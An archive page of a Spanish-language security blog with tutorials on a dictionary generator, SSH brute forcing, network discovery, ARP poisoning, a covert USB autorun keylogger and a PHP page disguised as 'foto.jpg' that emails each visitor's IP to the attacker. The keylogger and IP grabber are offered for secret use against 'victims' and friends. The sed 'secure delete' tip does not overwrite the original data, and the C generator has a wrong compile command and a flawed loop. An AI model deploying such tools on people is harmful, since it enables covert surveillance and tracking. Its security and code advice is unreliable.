Forma Rapida Segura y Sencilla de ELIMINAR archivos

Posted on July 1st, 2008 in Linux, Programacion, Seguridad, tutoriales by Miggs

El otro dia mi jefe me pidio que le llamase antes de borrar un archivo para asegurarnos de que realmente los datos eran eliminados. El proceso es simple, sobreescribir el contenido del archivo con datos. Idilicamente se debería de hacer con datos aleatorios, pero tampoco es cuestion de ser paranoicos. Basta con repetir el proceso unas cuantas veces antes de borrarlo. En cualquier si alguien tiene a mano como hacerlo correctamente que escriba un comentario y lo anado.

$ sed -i -e ’s/./X/g’ ./path/to/fichero

Saludos


Generador de palabras. Wordgenerator.c

Posted on May 23rd, 2008 in FreeBSD, Linux, Programacion, Seguridad, tutoriales by Miggs

beastyHace tiempo, trasteando con las redes wifi y la clásica encriptacion WEP llegue a un punto en el que necesitaba una diccionario de claves. Como las claves eran ’semi-aleatorias’ no me servia cualquier diccionario, necesitaba algo que me generase todas las posibles claves de determinada longitud con un determinado juego de caracteres. Así que decidí poner en buen uso mis conocimientos de C y crearme una herramienta que me lo hiciera. El problema era conceptual mente simple así que me puse manos a la obra.

Inicialmente resolví el problema con recursividad (lento), mejorandolo mas tarde utilizando un algoritmo lineal (mucho mucho mas rápido). Aquí os dejo el código fuente.

Compilar

Si dispones de gcc el proceso es muy sencillo.

$ gcc -o wordgenerator.c wordgenerator

Ejecucion

Desde la linea de comandos basta con

$ ./wordgenerator

Código

//Librerias necesarias
#include<stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
//Prototipos
int getOptions(int,char**,char**,int*,int*);
void ayuda();
void generator(char *, char *,int, int);
//
//Funcion: wordgenerator.c
//Description: Genera palabras linear o recursivamente.
//Autor: Miggs
//Date: 18/10/2006
//
int main (int argc, char *argv[])
{
//Caracteres a usar por defecto
char *c = “1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM”;
int len;
//Usamos recursividad?
int r = 0; //No a no ser que nos lo pidan…

if(getOptions(argc,argv,&c,&len,&r)<0)
ayuda();

char actual[len + 1];
actual[len] = ‘\0′;

if(r == 0){
//Lineal = rapido
int i,j;
for(i = 0; i < len ; i ++)
for(j = 0; j< strlen(c) ; j ++){
actual[i] = c[j];
printf(”%s\n”,actual);
}
}else
//Recursividad = lento
generator(c,actual,len,0);
return 0;
}
//
//Funcion: generator
//Description: funcion recursiva
//Date: 18/10/2006
//
void generator(char *c,char *actual, int len, int level)
{
int i;
if(level < len)
{
for(i = 0; i < strlen(c);i = i + 1){
actual[level] = c[i];
generator(c,actual,len,level+1);
}
}
else
printf(”%s\n”,actual);
}

//
//Funcion: getOptions
//Description: Interpreta las opciones de la linea de comandos
//Date: 18/10/2006
//
int getOptions(int argc, char **argv, char **vC, int *l, int *r)
{
int c;
int retValue = -1;

while((c = getopt(argc, argv, “l:c:r”)) != -1){
switch(c){
case ‘l’:
*l = atoi(optarg);
if(*l > 0)
retValue = 1;
break;
case ‘c’:
*vC =optarg;
break;
case ‘r’:
*r = 1;
default:
break;
}
}
return retValue;
}

//
//Funcion: ayuda
//Description: Imprime la ayuda por pantalla
//Date: 18/10/2006
//
void ayuda()
{
printf(”\n// wordGenerator 0.1 6/Feb/2008\n”);
printf(”// icaix.com//\n”);
printf(”\n Uso:\n”)//
printf(” ./wordGenerator [-C CaracteresAUsar] [-r] -l <longitudPalabra> \n”);
printf(”\n Generacion palabras de longitud 3, metodo lineal\n”);
printf(” ./wordGenerator -l 3\n”);
printf(”\n Generacion palabras de longitud 3, metodo recursivo\n”);
printf(” ./wordGenerator -r -l 3\n”);
printf(” Generacion palabras de longitud 3 con vocabulario abcdefghABCDEFGH\n”);
printf(” ./wordGenerator -l 3 -C abcdefghABCDEFGH\n\n”);
_exit(0);
}


Video Tutorial: Backtrack 2 | Remote brute force attack

Posted on April 13th, 2007 in Linux, Seguridad, tutoriales by Miggs

Una de las responsabilidades de los administradores de sistemas es limitar el acceso a aquellos usuarios con autorización para entrar en el mismo. Con el fin de bloquear el acceso a terceros se crearon las contraseñas. Cada usuario posee un ‘nombre de usuario’ y una contraseña. Cada vez que un usuario quiere acceder al sistema se le piden dichos datos. Si el nombre de usuario y la contraseña coinciden con los almacenados en el servidor le permitimos el acceso, si no, se lo denegamos.

Uno de los problemas de este sistema surge cuando una tercera persona se hace pasar por uno de nuestros usuarios. Siempre y cuando conozca el nombre de usuario y su password se le permitirá el acceso, independientemente de que la persona no sea quien dice ser.

Otro problema es que si el acceso a sido denegado, el usuario puede volver a intentar acceso n numero de veces (normalmente n es infinito). Por lo general, limitar el número de intentos puede bloquearnos el acceso, haciendo del remedio peor que la enfermedad.

Un ataque muy común que se hace uso de dichas ‘vulnerabilidades’ son los ‘ataques basados en diccionarios’ (dictionary-based attack). El ataque consiste en bombardear al servidor con nombres de usuarios y contraseñas aleatorios. Es algo parecido a intentar abrir una caja fuerte introduciendo números al azar. Si alguna vez te has encargado de algún servidor ssh o ftp seguramente los hayas sufrido.

Ya que el número de posibles combinaciones de usuarios y passwords posibles es demasiado alto, en este tipo de ataque normalmente se usan diccionarios. Un diccionario (de passwords y/o usuarios) es un fichero de texto con nombres de usuario y passwords frecuentemente usados. Por ejemplo, en la mayor parte de sistemas nos solemos encontrar un usuario ‘root‘, y, estadísticamente hablando, passwords como ‘1234‘ o ‘qwerty‘ son usadas mas frecuentemente que ‘a\/gW1~3|23‘. Como te podrás imaginar, para diferentes idiomas se usan diferentes diccionarios.

Pero entonces…? SI!, La única manera de que este ataque funcione es que la combinación usuario-password este en tu diccionario, o en otras palabras, una mala gestión de usuarios/passwords.

El motivo por el que este tipo de ataques están tan extendidos es porque con un simple script podemos testear cientos o miles de servidores de forma automática sin necesidad de intervenir en el proceso. Otro motivo es que los ‘chicos malos’ necesitan ordenadores desde los que realizar sus ataques.

En un ataque real conseguir acceso al sistema es solo el primer paso. Una vez dentro se suele instalar como mínimo algún troyano con el cual garantizar el acceso en caso de que se cambie la password. Hay ocasiones en el que el atacante simplemente cambia la password para levantar sospecha y darle a conocer al usuario que su password es débil.

En este video tutorial os muestro un ejemplo práctico de cómo realizar este tipo de ataques y por supuesto como detectar su presencia.

Detalles técnicos

  • La distro usada para realizar el ataque es Backtrack 2, versión Live.
  • Para escanear la red y localizar posibles víctimas se uso nmap.
  • Para el ataque en si utilizamos medusa (~# man medusa).
  • El diccionario usado pertenece a ‘john the ripper‘ (Incluido por defecto en Backtrack 2).
  • El servidor de ssh en la víctima es una instalación estándar de OpenSSH.

Ver video tutorial

Video Tutorial: Backtrack 2 | Remote brute force attack

Pulsa aquí o sobre la imagen para acceder al vídeo tutorial.

Detección y prevención

La mejor forma de detectar este y cualquier tipo de ataque es comprobando los logs y analizando cualquier anomalía. En su día escribí un post llamado ‘Navegando entre los logs’ donde hable de cómo el servidor en el que se encuentra alojado esta web, Fujiyama, estaba en constante estado de alerta.

En ‘Consejos básicos: Mantener un servidor del ssh’ menciono las practicas mas habituales para evitar este tipo de ataques sobre servidores de ssh. En esa época decidí cambiar el puerto de escucha del servidor de ssh y desde entonces no he recibido ningún ataque en los dos últimos meses.


Review: Netdiscover, analizando la red.

Posted on March 27th, 2007 in Linux, Reviews, Seguridad, tutoriales by Miggs

Anoche saliste de fiesta, la ocasión se lo merecía, habías construido tu primer USB-KeyLogger. Desgraciadamente, se te fue un poco la mano con el alcohol y hoy te levantas en un lugar en el que nunca antes habías estado… Seguramente, lo primero que harás una vez levantado es mirar a tu alrededor y observar el entorno. Buscar elementos que te resulten familiares que te sirvan para hacerte una idea de donde estas y contra que es lo que te enfrentas.

No!, no me he vuelto loco. Sin embargo la situación es similar a cuando conectas tu ordenador a una red desconocida (ya sea por cable o Wireless). Inicialmente, si tienes suerte, habrá un servidor de DHCP que te proveerá de la mínima información necesaria para poder hacer uso de la red; una ip, una mascara de red y una puerta de enlace. Sin embargo nosotros queremos saber un poco mas sobre los aquello que nos rodea. Porque?, imagínate por ejemplo que alguien esta haciendo un mitm (man in the middle attack) con ettercap

Pues bien, hoy os presento netdiscover. Haciendo uso del ARP (Address resolution protocol), Netdiscover localizará todos los equipos de la red devolviéndonos una relación entra la ip local y la MAC de cada equipo.

Los que creyeseis (yo mismo hace una semana) que con broadcast un ping (ICMP echo request) es suficiente estáis equivocados. En muchas ocasiones os encontrareis que la función ping esta deshabilitada (por motivos de seguridad).

Esta es la pagina oficial de netdiscover. También es posible que os podáis hacer con el a través de alguno de los repositorios de tu distro.

Una vez instalado es bueno leerse el manual (man netdiscover). A groso modo estas son algunas de las opciones disponibles

Opciones Principales:

-i dispositivo: interfaz de red que quieres usar; eth0, eth1, wlan.

-r rango: rango que de deseas escanear. Ex: 192.168.1.0/24 escaneara todas las ips entre 192.168.1.0 y 192.168.1.255.

-p: modo pasivo. No infectará nada, solo escucha las peticiones ARP que lleguen a nuestro equipo (eficaz pero mas lento).

-s time: tiempo en milisegundos entre peticiones ARP. Útil si no quieres saturar la red o no quieres ser detectado por algún IDS.

-f: fast mode.

Ejemplos de Uso:

  • Búsqueda de direcciones comunes en eth0

# netdiscover -i eth0

  • Búsqueda en modo rápido de direcciones comunes en eth0 (solo la puerta de enlace)

# netdiscover -i eth0 -f

  • Ejemplo de análisis de algunos rangos

# netdiscover -i eth0 172.26.0.0/24
# netdiscover -i eth0 192.168.0.0/16
# netdiscover -i eth0 10.0.0.0/8

  • Idem que el primer ejemplo pero con un intervalo de 0.5ms (1ms por defecto)

# netdiscover -i eth0 -s 0.5

  • Búsqueda pasiva. Solo analiza el trafico entrante. No infectará nada a la red.

# netdiscover -i eth0 -p

Conclusion:

Personalmente estoy encantado con esta sencilla aplicacion. Obviamente netdiscover no tiene la potencia de otras aplicaciones como nmap, pero sin embargo “lo que hace lo hace bien” de una manera rápida y sencilla. Puede resultar muy útil en las primeras etapas del análisis de una red.


Tutorial: USB KeyLogger

Posted on March 22nd, 2007 in Seguridad, tutoriales by Miggs

Hoy nos olvidamos de cables, backdoors, ARP Poisoning, ettercap, sniffers y todo aquello que tenga que ver con redes.

Mucha gente cree que con proteger su equipo contra ataques atraves de la red con firewalls y antiviruses, el ordenador ya es seguro e impenetrable. Sin embargo, ¿que pasa cuando el atacante tiene acceso físico a la maquina? ¿Es realmente peligroso?

Para demostrar el potencial de este tipo de ataques, hoy vamos a crear nuestro propio USB-Keylogger. Un “pendrive” que al conectarlo a nuestro querido Windows, guardara todo aquello que tecleemos sin que, por supuesto el usuario “victima” se entere.

Bueno…, miento, en realidad este metodo tiene truco, ya que para hacerlo funcionar windows tiene que tener habilitada el mecanismo de autoarranque. Es decir, cuando insertemos el pendrive, windows debera ejecutar el archivo autorun.inf. Sin embargo, por lo general no es problema ya que windows tiene dicha opcion activada por defecto.

Requisitos:

  1. Maquina con Windows (probado en XP SP2)
  2. Un Pendrive (de con al menos 15 MB)

Instalación:

  1. Descárgate este archivo y descomprímelo en el directorio raíz del Pendrive.

Ataque:

  1. Conectar el USB a la maquina.
  2. Seleccionar la primera opción en el menú de Auto arranque “Iniciar Keylogger”.
  3. Una vez arrancado el Keylogger pulsa F12 para acceder al los menus (opcional).

Al pulsar “Aceptar” veras que hay un nuevo proceso llamado keylogger.exe, este es el encargado de registrar todas las teclas pulsaciones realizadas sobre el teclado.

Acceso a los Logs:

  1. Los logs se irán almacenando en la carpeta “logdir”.
  2. Usa tu editor de texto favorito para acceder a ellos.

Como Funciona:

Cuando conectamos un medio extraíble a nuestro sistema (CDs, DVDs, Pendrives, etc), Windows nos permite incluir un archivo “Autorun.inf” en el que podemos definir el comportamiento del medio, ex;dar nombre a la unidad, asignarle iconos especiales o lanzar aplicaciones. Asi es como Juegos, CDs de Música e Instaladores nos sorprenden con sus encantadores menús cada vez que los insertamos en el ordenador.

Desde Autorun.inf podemos ejecutar cualquier aplicación, lo único que debemos de conocer es su ubicación, en este ejemplo un keylogger, pero perfectamente podría ser reemplazado por un ladrón de passwords, virus, troyanos, o lo que se nos ocurra.

En este ejemplo solo usaremos los comandos mas basico:

label: Asigna el nombre de la unidad.
icon: ubicacion del icono que se asignara a la unidad.
action: Texto que se mostrara como opcion por defecto en el menu de autoarranque.
shellexecute: Aplicacion que ejecutar.

Autorun.inf

[Autorun]
label=Icaix.com
icon=”icaix.ico”
action=Iniciar Keylogger
shellexecute= “Keylogger.exe”

Keylogger

El keylogger usado se llama PyKeylogger. Esta es la pagina oficial. Os recomiendo que le echéis un ojo, es open source con licencia GPL.
El binario del ejemplo no es exactamente el de la página oficial. Para eliminar el pop up inicial y hacer el ataque más real he modificado la línea 114 del archivo “keylogger.pyw”. Aquí una copia.

Prevención:

La forma de evitar este tipo de ataques es deshabilitar la opcion de autoarranque de windows. Aquí os dejo un link de cómo hacerlo.


IronGeek.com

Posted on February 24th, 2007 in Seguridad, tutoriales by Miggs

La semana pasada volví al colegio mayor y como os podréis imaginar no tengo mucho tiempo para la web. Esto es una locura!. Sin embargo no os penséis que me he olvidado de vosotros. Hoy os voy a pedir que os deis un paseo por IronGeek.com.

IronGeek es una de las mejores paginas de iniciación en temas de seguridad. La sección de vídeo tutoriales y algunos de los artículos de seguridad son geniales!

Hechadle un ojo a estos vídeo tutoriales, merecen la pena!:

Un saludo.


Phishing: Obteniendo la Ip de nuestros amigos del msn.

Posted on February 6th, 2007 in Seguridad, tutoriales by Miggs

Seguramente alguna vez se has necesitado/querido tener acceso a las ip de algunos de tus contactos de Messenger. Hasta ahora, la única manera que, por lo menos yo, conocia para obtenerla era mandándoles un archivo y capturar la ip durante la transmisión. Aunque dicho método funciona, no es demasiado práctico.

Hoy navegando por Internet me he cruzado con Profit42.com. Profit42.com es una especie de blog/comunidad donde entre otros temas hablan de cosas de seguridad y tienen colgados unos cuantos tutoriales. Uno de ellos es sobre el que voy a hablar ahora (Fuente original).

El objetivo consiste en que la victima pulse sobre un link, aparentemente inofensivo, que automáticamente nos mandara un email su ip. Realmente, dicho link no es mas que una pequeña pagina en php, que automáticamente envía un mail con la ip de todo aquel que acceda a el. El unico requesito es tener acceso a un dominio con soporte para php.

Ejemplo:

Creemos una carpeta llamada foto.jpg
En dicha carpeta guardaremos una imagen (http://LoQueSea.com/foto.jpg/foto.jpg) y crearemos un documento “index.php” (http://LoQueSea.com/foto.jpg/index.php) con el siguiente codigo:

<?PHP
$remote_addr = getenv(’REMOTE_ADDR’);
$toaddress = “tuMail@mail.com”; // tu email!
$subject = “Asunto”; // asunto del email
$message = ” IP: $remote_addr”; // Cuerpo del mail
$fromname = “CapturaIp”; // Quien lo envía
$fromaddress = “loQueTeDeLaGana@LoQueSea.com”; // Email de quien lo envía
$headers = “MIME-Version: 1.0\n”;
$headers .= “Content-type: text/plain; charset=iso-8859-1\n”;
$headers .= “X-Priority: 3\n”;
$headers .= “X-MSMail-Priority: Normal\n”;
$headers .= “X-Mailer: php\n”;
$headers .= “From: \”".$fromname.”\” <”.$fromaddress.”>\n”;
mail($toaddress, $subject, $message, $headers);
?>
<img xsrc=”foto.jpg”>

Cuando alguien acceda a Index.php:

  1. Mandara la ip a tuMail@mail.com
  2. Mostrara foto.jpg

Aqui un ejemplo del resultado: http://icaix.com/gracioso.jpg
Descargatelo desde Aqui

Como ejecutar el ataque?

Simplemente mándales a tus amigos un link a http://dominoConSoportePhp.com/foto.jpg y listo, recibirás un mail segundos mas tarde con su ip.


ARP poisoning - Detección - (3/3)

Posted on February 5th, 2007 in Seguridad, tutoriales by Miggs

Si ya de por si detectar ARP Poisoning es complicado. Detener uno de estos ataques es más que difícil. Sin duda, una de las pocas, por no decir la única “solución” es configurar las tablas de ARP manualmente, ya sea bien introduciendo la relación entre las direcciones IP y MAC de todos los equipos, o simplemente (algo mas flexible) la del router o gateway. Como os podréis imaginar, dicho método puede ser una pesadilla en redes con varios cientos de equipos, y por lo general no se usa.

Otro pregunta que surge es “que hacer” en caso de detectar un posible ataque. No podemos bloquear dichos equipos ya que entonces aumentamos el riesgo de ataques de DoS (Denial of Service), haciendo del remedio peor que la enfermedad. Por lo general, lo que se suele hacer es monitorizar dichos ataques intentando localizar a los intrusos a posteriori.

Ya que siempre existe el riesgo de que alguien este a la escucha, la única manera de asegurarnos que la información permanece secreta es encriptandola (VPN, SSL, SSH, etc.). Si el alguien tiene acceso a ella, que por lo menos no la entienda no? Es por eso que la transmisión en “Plain Text” es extremadamente insegura y protocolos como Telnet o Ftp deberían dejar de usarse.

Aqui un links a los videos:

Video Tutorial 1: ARP poisoning - Main in the middle attack - (1/3)
Video Tutorial 2: ARP poisoning - ettercap - (2/3)
Video Tutorial 3: ARP poisoning - Detección - (3/3)


ARP poisoning - ettercap - (2/3)

Posted on February 3rd, 2007 in Seguridad, tutoriales by Miggs

Aquí os dejo el segundo capitulo de la trilogía de ARP Poisoning. Espero que os guste. En este tutorial os enseño como de forma muy básica y simple conseguir lo explicado en el episodio anterior.

Con ettercap se puede hacer prácticamente de todo. Una vez establecido el ataque y ya una vez con acceso al trafico ettercap te permite el uso de plugins con los que hacer cosas muy chulas; dns spoofing, falsificado de certificados ssl, sniffado de passwords, etc.

Otro de los grandes potenciales de ettercap es que te permite crearte tus propios plugins!, solo necesitas algunos conocimientos básicos de redes, algo de imaginación y ganas de hacer algo chulo y ettercap te ayudara a hacer el resto.

Espero que este video os cree cierta curiosidad en el tema y de a partir de ahora seáis vosotros los que os pongáis manos a la obra!
El próximo capitulo mostrare como detectar este tipo de ataques!

Video Tutorial 1: ARP poisoning - Main in the middle attack - (1/3)
Video Tutorial 2: ARP poisoning - ettercap - (2/3)

Un saludo. Miggs


ARP poisoning - Main in the middle attack - (1/3)

Posted on February 2nd, 2007 in Seguridad, tutoriales by Miggs

Alguna vez te has preguntado que es eso de un “mitm” (man in the middle attack)? Icaix.com en su nueva serie de vídeo tutoriales de seguridad no solo te explicara que son y como funcionan, sino además, como ejecutarlos y por supuesto como detectarlos tu mismo.

Por ahora, en este primer tutorial explicamos como funcionan.

Esperamos que os gusten!.

Video Tutorial 1: ARP poisoning - Main in the middle attack - (1/3)

Un saludo. Miggs


Next Page »